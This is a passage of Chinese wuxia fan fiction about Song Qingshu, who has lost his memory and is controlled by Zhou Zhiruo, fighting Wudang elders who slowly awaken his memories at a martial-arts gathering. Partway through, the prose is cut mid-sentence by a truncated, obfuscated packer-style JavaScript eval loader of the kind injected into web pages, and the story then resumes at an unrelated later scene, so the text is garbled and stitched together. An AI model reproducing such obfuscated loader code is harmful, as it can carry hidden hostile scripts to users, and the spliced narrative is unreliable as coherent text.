张无忌叹道:“武当正在全力搜寻,但至今杳无音信。七叔来信,希望我明教能相助一二。如今教中虽以营救狮王为第一要务,但青书师兄之事亦不可耽搁。我记得,当年光明顶一役,青书师兄曾不顾自身安危,以精深念力与接续手法,救了锐金旗十余位兄弟的断臂,其中便包括吴旗使你。” 提及往事,吴劲草眼中立刻迸发出真挚的感激与激动,他下意识摸了摸自己如今运用自如的右臂,声音都洪亮了几分:“教主所言极是!当年若无宋少侠仗义援手,属下与那十几位兄弟早已是废人,焉能有今日?此恩同再造,锐金旗上下,从未敢忘!” “好。”张无忌点头,“寻找青书师兄,需得细心、可靠,且对其心存感激、必会尽心竭力之人。吴旗使,我想将此任托付于你。你从锐金旗中,挑选当年受过青书师兄恩惠、且机警得力的兄弟,组成一队,即刻下山,专司寻访青书师兄下落。一应所需,教中尽数支持。若有线索,不惜一切代价查证,并火速报与我知,同时通知武当。” 他顿了顿,语气沉重:“青书师兄离山时情形不明,如今音信全无,我实在担心。营救义父之事我自有安排,你们不必分心,只管全力寻人。” 吴劲草胸膛一挺,毫不犹豫抱拳领命,声如洪钟:“属下遵命!教主放心,锐金旗受宋少侠大恩,今日正是报答之时!纵然翻遍天涯海角,也必为武当、为教主寻回宋少侠踪迹!” 他眼中闪烁着决然的光芒。对于他们这些刀头舔血的汉子而言,恩怨分明,有恩必报是刻在骨子里的信条。宋青书当年那不计门派之见、损耗自身为他们接续断臂的恩情,早已被锐金旗众人铭记于心,视若再生。如今恩人有难,下落不明,他们岂能坐视? 领命之后,吴劲草雷厉风行,立刻从锐金旗中点了十二名好手,皆是当年断臂被宋青书亲手接回、如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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各门各派、江湖帮会,黑压压聚了不知几千人,旗帜招展,兵刃映着惨淡的天光,人声鼎沸却又暗藏机锋。 中央搭起数座高台,最为高大的那座,便是今日各方豪杰“以武会友”、实则争夺屠龙刀归属与营救谢逊主动权的擂台。 明教、武当、少林、昆仑、崆峒、华山……天下叫得上名号的势力几乎悉数到场。空气里弥漫着紧张、贪婪、仇恨与躁动的气息,仿佛一点火星就能引爆。 峨眉派的席位颇为靠前。周芷若一身素白衣裙,外罩淡青色薄纱,发髻高挽,仅插一支碧玉簪,容颜清丽绝俗,神情淡漠平静,在一众或剽悍或激动的武林豪杰中,显得格外突出,也格外引人注目。只是那平静之下,似有寒冰暗藏。她身后站着十余位峨眉女弟子,个个佩剑,神色肃然。 而站在她身侧稍后位置的,是一个身材单薄的男子。他穿着不起眼的灰布劲装,面上却粘满了浓密虬结的假胡须,几乎遮住了大半张脸,只露出一双眼睛。 那眼神有些空洞,又似乎带着一丝不易察觉的迷茫与僵滞,正是被周芷若精心伪装过的宋青书。 “莫要紧张,不过是寻常比试。”周芷若并未回头,声音轻柔地飘入宋青书耳中,带着某种安抚,更像是某种催眠式的指令,“记住你的身份,记住你该做的事。我让你出手,你便出手,不必留情。” 宋青书微微颔首,低声道:“是,夫人。”声音透过胡须,显得有些闷。他体内,那团被周芷若以药物和阴寒内力反复压制、却始终未曾真正熄灭的气,在这高手云集、气血冲天的环境中,似乎有些不安地悸动了一下,带来一丝细微的烦恶。 他下意识地握了握拳,又强迫自己松开。 大会进程按部就班地进行着。各方势力或为扬名,或为试探,或为那渺茫的“天下第一”与屠龙刀,纷纷派出好手上台。呼喝声、兵刃撞击声、喝彩与惊呼声不绝于耳,空气中开始弥漫开淡淡的血腥味。 武当派的席位上,宋远桥面沉如水,目光不时扫过全场,尤其在那些独行或是装扮奇特的人身上停留,心中那根弦始终紧绷着。 青书……你到底在何处? 莫声谷站在他身侧稍后的位置,抱臂而立,脸色比宋远桥更加冷硬,薄唇抿成一条直线,目光如同鹰隼,锐利地扫视着每一个上台之人的身形、步法,试图从中找到一丝熟悉的痕迹。每一次看到不是,他眼底的焦灼与失望便深重一分。 张无忌端坐明教主位,虽心系义父,但此刻大局未明,也只能暂且按捺。他的目光更多停留在少林众僧与那被重重看守的高台之上,眉头微锁。 轮到丐帮与峨眉派之间的一场比试。丐帮帮主史火龙,身形魁梧,满面风霜之色,手持一根碧绿竹棒,大步踏上擂台,声若洪钟:“丐帮史火龙,请教峨眉派的高招!” 周芷若唇角几不可察地弯了一下,侧头对身后低语:“青书,你去。不必用我平日教你的剑法,用你最顺手的方式便是。”她刻意模糊了“最顺手”的定义,想看看这失忆的宋青书,在被压制了武当根本功法后,仅凭身体本能和这些日子灌输的零散招式,能发挥出什么。 宋青书默然点头,纵身一跃,上了擂台。他身形挺拔,纵然伪装了面目胡须,那份自幼严格教养出的仪态风范,依旧在不经意间流露出来。 史火龙原本气势汹汹,目光落在对手身上时,却猛地一怔!这身形……这站姿……还有那双眼睛,尽管被胡须遮掩了大半脸孔,尽管眼神空洞了许多,可那眉眼的轮廓,那偶尔一闪而过的、属于世家子弟的清正气质…… 史火龙执掌丐帮,掌管天下消息灵通的乞丐,眼力何其毒辣。其时他身中幻阴指,眼看就要魂归地府,是宋青书和莫声谷突然造访,不仅以自身全部念力助他疗伤,更以自身之血相助他疏通淤塞经脉,甚至令他恢复鼎盛,还把降龙十八掌练到第十四掌,保住了帮主之位。此恩他一直铭记于心。 擂台上,两人相对而立。台下喧哗声似乎都远去了些。 史火龙盯着宋青书,越看越觉得像,心中惊疑不定,忍不住踏前一步,压低了声音,带着试探与难以置信:“阁下……尊驾可是……武当宋远桥宋大侠的公子,宋青书宋少侠?” 他声音不大,但内力灌注,清晰地传入了宋青书耳中,也传到了擂台边缘一些耳力高明者的耳里。 宋青书身体几不可察地微微一震。“宋青书”这个名字,像一颗石子投入他死水般的脑海,激起一圈细微的、连他自己都无法理解的涟漪。但他立刻想起周芷若的叮嘱,想起自己“应该”是谁。 他摇了摇头,声音透过假胡须传出,刻意带上一丝沙哑和漠然:“你认错人了。我不是什么宋少侠。”他顿了顿,按照周芷若灌输的“身份”说道:“我是峨眉派周掌门的丈夫。废话少说,出招吧。” 说完,他摆出了一个起手式,并非峨眉剑法,也非武当功夫,倒像是这些日子被强行灌输的、几种阴柔招式混杂的别扭姿态。 史火龙却没有动。他目光如电,仔细扫过宋青书的脸,试图从那浓密的假胡须下找出更多证据。他看到了宋青书眼中那一闪而逝的茫然,看到了他摆出架势时那一丝极其细微的、与“峨眉掌门丈夫”这个身份绝不匹配的生硬。 恩人就在眼前,却被伪装,且神色异常,口称是他人之夫! 史火龙心中疑云大起。但他恩怨分明,性情耿直,无论如何,也无法对疑似自己恩人、且明显状态不对的人动手。 他深吸一口气,忽然向后撤了一步,将手中竹棒往地上一顿,抱拳,朗声道:“这一场,丐帮认输!” 声音洪亮,传遍全场! 台下顿时一片哗然! “什么?史帮主还没打就认输?” “峨眉派那大胡子是谁?竟能让史火龙不战而降?” “他说他是周芷若的丈夫?周芷若何时嫁人了?” “武当宋青书?史火龙刚才是不是提了宋青书?” 议论声嗡嗡作响,无数道惊疑、探究、审视的目光,齐刷刷射向了擂台上的宋青书,以及峨眉席位上面无表情的周芷若。 武当席位上,宋远桥、俞莲舟、殷梨亭和莫声谷在听到“宋青书”三个字时,已然猛地站起! 宋远桥浑身剧震,手指紧紧抓住座椅扶手,指节泛白,目光死死锁住台上那个虬髯大汉。莫声谷更是瞳孔骤缩,一股难以言喻的颤栗瞬间掠过脊椎,他死死盯着那身影,试图从那陌生的伪装下,找出哪怕一丝属于青书的痕迹。 张无忌也诧异地望了过来,眉头微蹙。 擂台之上,宋青书愣住了。他没想到对方会直接认输。按照周芷若的“吩咐”,他应该击败对手。可眼下……他下意识地回头,望向峨眉席位上的周芷若。 周芷若依旧端坐着,面色平静无波,仿佛对眼前的变故毫不在意。只有熟悉她的人,或许才能从她微微收紧的指尖,看出她心底那一丝计划被打乱的不悦,以及……被推到风口浪尖、反而隐隐兴奋的幽光。 史火龙认输退场,经过宋青书身边时,脚步微顿,以只有两人能听到的声音,极快地说了一句:“宋少侠,若你有何难处,丐帮上下,必不容辞!”说罢,深深看了他一眼,大步下了擂台。 宋青书独自站在擂台上,承受着全场数千道目光的洗礼。那些目光如同实质,要剥开他的伪装,看清内里。他感到一阵前所未有的慌乱和窒息,体内那团气似乎也感应到了什么,不安地躁动起来,与周芷若留在他经脉中的阴寒压制之力隐隐冲突。 他是什么?宋少侠?还是周芷若的丈夫? 浓密的假胡须之下,他的脸色,一点一点变得苍白。 擂台下,武当派席位,已是一片死寂的惊涛骇浪。 宋远桥在史火龙喊出“宋少侠”三字时,已然霍然起身,双目死死锁住台上那虬髯身影。那身形,那肩背挺立的姿态,甚至那因史火龙认输而略显无措、微微偏头的细小动作……无数次在武当山、在书房、在庭院中见过的、属于他独子的模样,隔着浓密的假须和陌生的灰布衣裳,猝不及防地撞入他眼中! “青书……?”一声低哑的、几乎不成调的轻唤,从他喉间溢出,带着难以置信的颤抖。 俞莲舟同样脸色剧变,他比宋远桥更快地稳住了心神,目光如电,扫过宋青书那双唯一未被完全遮掩的眼睛。空洞,迷茫,还有一丝竭力掩饰却仍泄露出的、面对全场瞩目与史火龙突然认输时的慌乱。那绝不是他熟悉的、聪慧明澈又带着些许骄傲的师侄的眼神。可那眼型轮廓,那偶尔一闪、几乎难以捕捉的、属于宋青书特有的清亮底色……不会错! 殷梨亭已经急得抓住了俞莲舟的衣袖,声音带着惊惶:“二哥!那是青书!他怎么会在峨眉?还成了……成了周掌门的丈夫?他为什么不认我们?” 最边上的莫声谷,整个人仿佛一瞬间被抽空了所有力气,又像是被冻成了冰雕。他站在那里,一动不动,唯有那双眼睛,赤红得吓人,死死盯着台上的人,像是要烧穿那层可笑的伪装,看进骨血里去。 是他!是青书!那股强烈的直觉,混杂着数月来刻骨的担忧、自责、无望的寻找,以及那夜雨中撕裂般的对峙记忆,几乎要将他淹没。可他为什么不认?为什么用那种陌生、甚至带着戒备的眼神扫过武当的方向?周芷若……丈夫?这两个词像烧红的烙铁,烫得他灵魂都在抽搐。 台上,宋青书在周芷若一个几不可察的颔首示意下,有些僵硬地转身,准备下台。 “且慢!” 一声沉喝,压过了场下的嗡嗡议论。宋远桥再也按捺不住,纵身掠上擂台。他身形依旧飘逸,步伐却带着一丝微不可查的凌乱,落地时甚至晃了一下,显见内心激荡至极。他站定在宋青书面前几步远处,努力平复着翻涌的气血,目光紧紧锁住对方那双被假须包围、此刻正带着明显困惑望过来的眼睛。 “这位……少侠,”宋远桥开口,声音竭力保持平稳,却依旧泄露出一丝沙哑,“老夫武当宋远桥。见少侠身手不凡,心中……见猎心喜。不知可否……请教几招?”他紧紧盯着宋青书,每一个字都说得缓慢而清晰,试图从那双眼眸中找到一丝熟悉的回应。 宋青书眉头几不可察地蹙了一下。宋远桥?这个名字似乎……有点模糊的印象,像是隔着厚重的水雾,看不真切。但对方眼中的那种急迫、沉痛,还有某种近乎祈求的意味,让他莫名感到一阵心悸和不安。他下意识地后退了小半步,抱拳,语气是周芷若教导过的、对“外人”应有的疏离客气:“原来是宋大侠,久仰。晚辈不敢与前辈动手,方才丐帮史帮主承让,晚辈愧不敢当,这就下台。” 这完全陌生、带着距离感的口吻,像一把冰冷的钝刀,狠狠刺进宋远桥心里!他的青书,怎么会用这种语气对他说话?怎么会连“爹”都不认得? “你……”宋远桥如遭重击,脸色霎时惨白,身形踉跄了一下,几乎站立不稳。巨大的震惊、心痛、茫然瞬间攫住了他,让他内息一阵紊乱,原本蓄势待发、只想试探的心意,竟在心神失守之下,化作一股失控的劲力,随着他下意识想要抓住对方问个清楚而抬起的手掌,不受控制地向前拍去! 这一掌,全无章法,纯粹是情绪失控下的产物,但宋远桥数十年精纯内力何其深厚,掌风呼啸,直取宋青书胸口! 宋青书完全没料到对方会突然出手,且来势汹汹!他体内被压制的本能似乎被这突如其来的危险激发,下意识地便要运起武当身法闪避,但念头刚起,周芷若灌输的那些阴柔诡异的招式路径便占据了上风。他笨拙地抬手,五指微曲,试图以那尚未纯熟的、夹杂着九阴白骨爪运劲方式的奇怪手法去格挡。 眼看宋远桥这失控的一掌就要印上宋青书那全不对路的防御,非死即伤! “大哥!”台下俞莲舟厉喝一声,声未落,人已如大鹏般疾掠而上,后发先至,衣袖鼓荡间,一股柔和却坚韧无比的劲力斜刺里插入,轻轻一带,将宋远桥那失控的掌力引偏了数寸,同时另一只手迅疾如电,扣住了宋远桥的手腕,低喝道:“大哥!冷静!” 砰!掌力击空,擦着宋青书的肩头掠过,将他肩头衣裳撕裂了一道口子,露出里面苍白的皮肤。宋青书被余劲震得后退数步,体内气血翻腾,假须下的脸更白了几分,眼中惊惧之色一闪而过,随即又被强行压下的空洞替代。他不明白这位武当掌门为何突然对自己下此重手,心中对“外人”的戒备更深。 宋远桥被俞莲舟扣住手腕,浑身一震,涣散的目光逐渐聚焦,看到儿子肩头破损的衣物和脸上那一闪即逝的惊惧,顿时如坠冰窟,悔恨交加:“我……我……”他竟险些亲手伤了青书! 俞莲舟松开手,将失魂落魄的宋远桥轻轻推向擂台边缘,自己则踏前一步,挡在了宋青书与宋远桥之间。他面色沉肃如铁,目光却异常平和地看向宋青书,抱拳道:“少侠受惊了。我大哥见才心喜,一时急切,出手失了分寸,还请见谅。” 宋青书定了定神,按捺□□内因方才惊险和宋远桥掌力余波而更加躁动的两股气息,也抱拳回礼:“不敢。” 俞莲舟缓缓摆开一个架势,正是武当绵掌的起手式,动作舒缓,如行云流水,与方才宋远桥的失控截然不同。“在下武当俞莲舟,见少侠招式……颇为奇特,心中好奇。不知可否以这粗浅掌法,与少侠切磋几式?只论招式,点到即止。”他声音沉稳,带着一种安定人心的力量,目光却锐利地观察着宋青书每一个细微的反应。 周芷若在台下,秀眉几不可察地一挑。俞莲舟……可比宋远桥难对付多了。但她此刻已成骑虎之势,无法公然阻止,只能静观其变,指尖却在袖中微微捻动。 宋青书犹豫了一下,回头看向周芷若。周芷若几不可察地点了点头。 “请俞二侠指教。”宋青书摆出了那套笨拙、混杂、却隐隐透着阴狠意味的“自创”招式。 俞莲舟不再多言,身形一动,掌势已然递出。果然是“只论招式”,他将内力压至极低,速度也放得异常缓慢,每一掌都清晰可见轨迹,柔和绵长,却如蚕丝缚物,层层叠叠,将宋青书那杂乱别扭、时而僵硬时而突兀狠辣的“爪法”尽数笼罩在内。 他的目的根本不是胜负,而是观察,是试探,是唤醒! 宋青书起初应对得极为吃力。俞莲舟的绵掌看似缓慢,却总能恰到好处地封住他招式变化中最生涩别扭的节点,让他每一次发力都像打在棉花上,又像是被无形的丝线牵绊,说不出的难受。他只能凭着被灌输的那些零碎招式和身体残存的本能,手忙脚乱地招架、闪避。 然而,随着交手招数增多,俞莲舟那缓慢却圆融无比、仿佛蕴含着天地至理的掌法轨迹,像一道道柔和却执着的清泉,流进宋青书混乱的记忆荒漠。某些极其熟悉的韵律、节奏、甚至呼吸配合的节点,开始与他身体深处某种沉睡的东西隐隐共鸣。 他体内那团被压制的纯阳之气,在这似曾相识的武当正宗掌意引动下,不安分地搏动起来,试图冲破阴寒的封锁,去呼应那流淌在血脉里的同源气息。这导致他出手时更加别扭,时而僵硬迟缓,时而又会突然爆发出一点不合时宜的、属于武当身法的灵光片段,虽然一闪即逝,却让俞莲舟眼中精芒更盛! 俞莲舟心如明镜,更确信眼前之人必是青书无疑!而且,青书的状态极不对劲,像是被某种力量强行扭曲、压制了本性。他心中痛惜,手上却丝毫不乱,掌势愈发绵密柔和,如同一位最有耐心的师长,引导着迷途的弟子,一招一式,缓慢而坚定地“喂”着招,不断用最熟悉的武当根基,去轻轻叩击、冲刷着宋青书被迷雾笼罩的神魂和躯体记忆。 一个有意引导,一个浑噩挣扎;一个掌法精纯、意在试探唤醒,一个招式混乱、本能与强植的技艺冲突不断。 这场比试,在外人看来,便是峨眉派那个神秘的大胡子丈夫,与武当俞二侠打了个“难解难分”,虽然大胡子的招式古怪难看,破绽百出,但俞二侠似乎也无意速胜,只是慢悠悠地与之周旋,场面一时竟胶着起来。 只有极少数眼力高明者,如少林空闻、明教杨逍等人,才看出俞莲舟掌法中的深意与那份压抑着的、深沉的痛心与焦灼。他们看看台上古怪的宋青书,又看看峨眉席位上神色莫测的周芷若,心中疑云越来越重。 擂台上,掌风爪影,一柔一诡,依旧在缓慢而持续地纠缠着。俞莲舟心中只有一个念头:不能伤他,不能急,一点一点,把他找回来。而宋青书则在越来越强烈的、来自体内纯阳之气的躁动与俞莲舟掌意引发的熟悉感的双重冲击下,眼神中的空洞渐渐被一种更深层次的迷茫、痛苦和隐约的挣扎所取代。 霹雳雷火弹的爆炸声犹在耳畔回荡,刺鼻的硝烟味混杂着尘土气息弥漫开来。擂台中央被炸出一个浅坑,边缘焦黑。俞莲舟因在空中全力施为,以精妙绝伦的柔劲化解雷火弹威力并将宋青书安全送离爆炸核心,自身气机流转不免出现一丝空隙,落地时已在擂台划定的边界之外半步。 按照大会规矩,落地出界者负。 场下一片哗然!谁也没料到峨眉掌门周芷若竟会突然以如此狠辣诡谲的手段介入比试,更没想到俞莲舟为了护住那来历不明的大胡子,竟甘愿自己出界认输。 俞莲舟站稳身形,面色沉凝如水,目光却未看那宣布结果的少林僧人,也未看峨眉席上面色平静无波、仿佛刚才只是随手丢了件无关紧要之物的周芷若,而是紧紧锁住被自己抛落在地、此刻正有些狼狈爬起的宋青书。 方才在空中那一瞬的接触,俞莲舟清晰感觉到宋青书体内气息的极端混乱——一股阴寒诡异的气劲盘踞主导,但深处一股中正的念力在顽强抵抗、左冲右突,两相交锋,令其经脉滞涩,内力运行不畅到了极点。 这绝非正常习武之人该有的状态,更兼之这样下去青书必然有性命之忧。 青书身上,定然发生了极其严重、甚至堪称诡异的事情!而这一切,恐怕与那位端坐峨眉主位、神色莫测的周掌门脱不开干系。 俞莲舟心中忧虑更甚,但他深知此刻自己已失资格,不能再上台。他深吸一口气,压下翻腾的气血和焦灼,转身朝武当席位走去,步伐依旧沉稳,只是背影透着一股沉重。 “二哥!”殷梨亭早已抢上前来扶他,脸上满是后怕与愤怒,“那周芷若竟用如此歹毒暗器!你可有受伤?” 俞莲舟微微摇头,低声道:“我无事。六弟,青书他……状态极不对劲。方才交手,他招式杂乱无章,似是而非,体内念力更是冲突紊乱,不似伪装。” 殷梨亭急道:“我也看出来了!他明明就是青书!可为何不认我们?还说什么……是周芷若的丈夫?定是那妖女使了什么邪法,或是抓住了青书什么把柄,逼迫于他!”他性情素来温和甚至有些优柔,但涉及师门晚辈,尤其是自幼看着长大、感情甚笃的师侄,此刻也是又急又怒,看向峨眉方向的目光充满了愤慨。 莫声谷一直死死盯着擂台上的宋青书,指甲早已深深掐入掌心,渗出血丝也浑然不觉。他看到宋青书被俞莲舟抛出落地时的踉跄,看到他被爆炸气浪波及后略显苍白的脸色,即使有胡须遮掩,也看到了他爬起来后,第一时间不是检查自身,而是下意识地、带着一丝茫然地望向峨眉席位的周芷若,仿佛在等待下一个指令。 这个认知让莫声谷心如刀绞,一股混合着心痛与无尽悔恨的情绪几乎要冲破他的胸膛。 青书之后到底遭遇了什么?才让他落入如今这般田地,连至亲都不认得,像个提线木偶般受人操控? 宋远桥在俞莲舟被“判负”时,身体晃了晃,被身旁弟子勉强扶住。他看着台上儿子那陌生而空洞的眼神,看着周芷若那副一切尽在掌握的姿态,只觉得眼前一阵阵发黑,心口闷痛难当。青书,他的青书,到底经历了什么? 这时,擂台之上,因俞莲舟出界,峨眉一方再次“获胜”。按照大会流程,胜者有权选择继续守擂或下台休息。周芷若并未示意宋青书下台,显然是要他继续“表现”。 殷梨亭见状,再也按捺不住。他看了一眼脸色灰败的大哥,又看了一眼面沉似水、显然在极力思索对策的二哥,以及身边几乎要化作一尊冰冷怒焰雕像的七弟,一股热血冲上头顶。 “二哥,让我去!”殷梨亭声音不大,却带着罕见的决绝,“方才你与他交手,我已看了许久。他招式虽乱,但偶尔流露出的身法步态,分明有武当根基的影子,只是被强行扭曲、混杂了别的阴毒玩意儿。他定是青书无疑!他不认我们,必有苦衷!” 他顿了顿,眼中闪过思索的光芒,低声道:“我想……或许可以换一种方法。二哥你方才以绵掌相对,已是极慢极柔,意在引导。可青书如今心神似乎被控,对外界引导反应迟钝混乱。我……我想比他更慢。” “更慢?”俞莲舟目光一闪。 “对,”殷梨亭点头,语气逐渐坚定,“他既然招式杂乱,我便用最基础、最缓慢、甚至可能是他最早在武当学艺时练习的入门招式去应对。一招一式,拆解开来,慢到让他无法忽视,慢到……或许能触动他身体里最深处、被掩盖的记忆。他不是不认吗?我便用这法子,一招一式,逼他‘用’出武当的功夫来!只要他使出一招半式纯正的武当剑法掌法,在场群雄有目共睹,看他……看那周芷若还如何抵赖!也或许,能借此冲破他身上的某种限制,让他想起自己是谁!” 这法子听起来有些天真,甚至有些笨拙,但殷梨亭性情本就偏于纯善执着,他认准了宋青书是被迫或有苦衷,便一心只想用最温和、最不伤人的方式去“唤醒”他,去“证明”他的身份,帮他摆脱困境。 俞莲舟沉吟片刻,看了一眼台上依旧呆立、等候指令的宋青书,又看了一眼峨眉席上面色平静却眼神幽深的周芷若,缓缓点头:“六弟,小心。周芷若诡计多端,方才雷火弹之事,难保不会重演。以引导试探为主,莫要强求,自身安危为重。” “我明白。”殷梨亭深吸一口气,整了整衣袍,将佩剑留在席上——他决定空手上台,以示绝无伤害之意,也更方便施展掌指功夫进行最细致的引导。 他足尖一点,身形飘然落上擂台,站在了宋青书对面数丈之处。 “峨眉派的这位……朋友,”殷梨亭开口,声音努力放得平和,甚至带着一丝故作的轻松,目光却紧紧锁住宋青书的眼睛,“在下武当殷梨亭。见朋友连战两场,招式……颇为独特,殷某心中好奇,特来讨教。咱们……不急,慢慢来,如何?” 宋青书看着眼前这个面容清癯、眼神温和中带着难以掩饰关切的中年道士,心中那股莫名的烦恶与抵触似乎比面对宋远桥和俞莲舟时稍弱一些,但依旧存在。他依旧按照周芷若灌输的认知,将对方视为“需要击败的对手”之一。只是,对方的态度似乎……不太一样。 他抱了抱拳,闷声道:“请殷六侠指教。”依旧是不含任何私人情感的、模式化的回应。 殷梨亭心中刺痛,却强自按捺。他不再多言,缓缓摆出了一个架势。那不是威力强大的武当绝学,甚至不是绵掌那般圆融高级的功夫,而是武当弟子入门时都要习练的、最最基础的“武当长拳”起手式——“请手式”。动作标准,一丝不苟,却缓慢得如同老妪刺绣,每一个关节的转动,肌肉的舒展,气息的配合,都清晰得仿佛在教导初学稚童。 台下众人看得一阵错愕。武当殷六侠这是怎么了?方才俞二侠的绵掌已算极慢,殷六侠这简直……慢得有些可笑。这哪是高手过招?分明是晨起舒展筋骨。 宋青书也愣了一下。对方这架势,全无威胁,甚至……有些笨拙的亲切感?他心中戒备稍松,但周芷若的命令仍在。他低喝一声,依旧是那套混杂了粗浅九阴白骨爪运劲方式、却因记忆缺失和内息冲突而显得格外别扭僵硬的“自创”招式,五指成爪,但形似而神非,带着一丝阴风,朝着殷梨亭缓缓抓去。 殷梨亭不闪不避,甚至没有加快速度。他只是以更慢半拍的动作,使出了长拳中一招最普通的“搂膝拗步”,手臂划弧,掌心向外,似搂非搂,恰好迎向宋青书抓来的手腕。动作之慢,仿佛在演练慢动作,毫无劲力可言。 宋青书的“爪”抓在了殷梨亭的小臂上,力道却因对方手臂那缓慢圆弧的牵引而偏了几分,指尖只擦着衣料滑过。而殷梨亭的“搂膝拗步”也未真正发力搂抱,只是完成了那个圆弧轨迹,便缓缓收回。 一招过去,两人几乎像是轻轻碰触了一下,旋即分开。 宋青书眼中闪过一丝困惑。这算什么比试? 殷梨亭却毫不在意,紧接着又使出一招“手挥琵琶”,同样是基础长拳招式,同样缓慢至极,双臂如抱虚球,缓缓向前送出,目标正是宋青书因上一招落空而微微露出的胸口空门。 宋青书下意识地后退半步,以一招类似“格挡”的动作,依旧是他那杂糅的古怪姿势去应对。殷梨亭的“手挥琵琶”在他格挡动作完成前,已然变招,化为一招更基础的“云手”,双臂画圆,慢悠悠地,仿佛在搅动一池静水,将宋青书那笨拙的格挡力道轻轻荡开。 就这样,殷梨亭一招一式,全是武当入门长拳中最简单、最基础的动作,速度却慢得令人发指,仿佛刻意将每一个细节都拆解、放大,展示在宋青书面前。他的内力含而不发,劲力柔而不伤,目的只有一个——用这最熟悉、最本源的武当韵律,去触碰、去叩击宋青书身体和记忆中可能残存的印记。 起初,宋青书只是机械地、以他那套杂乱招式应对,打得别别扭扭,十分别扭。殷梨亭的“慢”让他无所适从,快攻快打他或许还能凭点混乱的本能,可这种慢吞吞的、近乎“喂招”的打法,反而让他那被强行灌输、尚未融会贯通的阴毒招式更加无处着力,破绽百出。 然而,十招、二十招、三十招过去…… 变化开始悄然发生。 当殷梨亭又一次使出那招“搂膝拗步”,缓慢而清晰地划出那个圆弧时,宋青书原本准备使出的、带着钩撕意味的“爪”势,在空中忽然滞了一下。这个圆弧……好像在哪里见过?非常非常久远的时候?身体里某个沉睡的部分,似乎随着这个缓慢的圆弧,轻轻悸动了一瞬。他原本要抓出的五指,不自觉地放松了一丝弧度。 当殷梨亭反复使用“云手”,那左右画圆、阴阳相济的轨迹,如同最原始的太极图腾,一遍又一遍在宋青书眼前慢速回放时,他体内那团被压制的纯阳之气,仿佛受到了同源韵律的召唤,搏动的频率开始加快,试图冲破阴寒的封锁,去应和那圆转如意的意境。他脚下混乱的步法,在某一瞬间,无意识地调整了半分,更接近武当基础步法的沉稳,而非被灌输的某种诡谲轻浮。 殷梨亭敏锐地捕捉到了这些细微到极点的变化!他心中激动,却不敢有丝毫表露,生怕惊扰了这刚刚开始松动的冰封。他越发耐心,将招式放得更慢,更清晰,甚至开始加入一些更简单的、武当剑法入门时的持剑、运腕的基本手势(尽管手中无剑),或是内功吐纳的基础配合节奏。 “青书,你看,这一招‘野马分鬃’,要意守丹田,气发腰胯,双臂如分鬃毛,劲力含而不露……”殷梨亭在心中默默念着,仿佛回到了许多年前,在武当山上,他和几位师兄一起,教导年幼的青书扎马步、练长拳的时光。他的动作,不自觉地带上了当年教导时的耐心与细致。 擂台上,出现了一副极其奇特的画面:一方是虬髯大汉,招式古怪僵硬,时而迅猛阴狠,时而却又会莫名其妙地卡顿、迟疑,甚至偶尔流露出一点截然不同的、正大堂皇的架势影子;另一方是清癯道士,动作缓慢如龟爬,翻来覆去就是那几招最基础的拳法手势,却如春雨润物,无声无息地渗透、缠绕、引导。 没有激烈的碰撞,没有炫目的劲气,只有一种近乎诡异的、缓慢的“舞蹈”。 台下众人从最初的错愕、不解,渐渐也看出些门道。不少老一辈的武林人士,开始低声交头接耳: “殷六侠这哪里是比武?分明是在……教徒弟?” “不对,你看那大胡子,偶尔那一下身法,是不是有点像武当的‘梯云纵’雏形?” “他那爪功邪门,可刚才格挡那一下,手腕的翻转,怎么有点‘绕指柔’的意味?虽然很生硬……” “武当的人如此执着与这人过招,莫非……” 窃窃私语声越来越大,无数道目光再次聚焦于宋青书身上,那层伪装似乎正在这缓慢到极致的“教学”中,被一点点剥开。 周芷若坐在峨眉席上,面色依旧平静,但拢在袖中的双手,已然悄然握紧。她自然看出了殷梨亭的意图,更看出了宋青书在对方那笨拙却执着的“引导”下,身体本能的些微复苏。不能再这样下去了! 她嘴唇微动,似乎想传音入密,干扰宋青书,或者直接命令他下杀手。但众目睽睽之下,尤其武当诸人、明教张无忌等高手均在,她若公然以特殊手段操控,等于不打自招。 就在她心念电转,思索对策之际,擂台上,变化陡生! 殷梨亭见火候渐至,忽地招式一变,不再使用长拳,而是摆出了一个更加缓慢、更加古朴的架势——武当派入门内功“筑基培元式”中的一个静态桩功姿势,双手虚抱于腹前,双目微垂,气息绵长。这不是攻击,甚至不是防御,纯粹是一个养气调息的姿势,但却是武当弟子日夜修炼、刻入骨髓的根本! 他缓慢地吐出一口气,按照武当基础心法的节奏,引导气息循环。 就在他气息流转的刹那,对面的宋青书,身体猛地剧烈一震! 仿佛一道闪电劈开了混沌的记忆迷雾!又像是沉睡的火山被引动了地火!殷梨亭那缓慢而纯粹的武当基础内息运转节奏,如同一把独一无二的钥匙,猛地捅开了宋青书体内那被阴寒之力层层封锁的、最深处的某把锁! “呃啊——!” 一声痛苦与茫然交织的嘶吼,猛地从宋青书喉咙里爆发出来!他双手抱头,脸上浓密的假须都因面部肌肉的剧烈抽搐而抖动起来!体内,那团被压制许久的纯阳之气,如同决堤的洪水,轰然暴发!它不再是被动抵抗,而是主动地、疯狂地冲击着周芷若留在他经脉中的九阴寒劲! 两股极端的力量在他体内展开前所未有的激烈厮杀!经脉如同被无数烧红的刀片切割、又被冰锥穿刺!剧烈的痛苦让他眼前发黑,几乎站立不稳。 而在这一片混乱的痛苦中,无数破碎的画面、声音、感觉,如同挣脱牢笼的猛兽,狠狠撞入他空白的脑海! 紫霄宫中,稚嫩的童声背诵口诀:“道冲,而用之或不盈……” 演武场上,严厉却慈祥的声音纠正姿势:“青书,腰要挺直,意要沉。” 春日山径,有人并肩而行,松风过耳,带来清淡的皂角香气和一句含糊的“……小心些。” 还有……还有黑暗降临前,后脑的剧痛,翻滚,无尽的虚无…… “啊——!头……我的头!”宋青书嘶吼着,再也无法维持任何招式架势,踉跄后退,双手死死抠住自己的头颅,仿佛要将那些突然涌入的、混乱而尖锐的记忆碎片挖出来。 殷梨亭大惊失色,他没想到自己的引导竟会引发如此剧烈的反应!他急忙收势上前,想要扶住宋青书:“青书!青书你怎么了?” 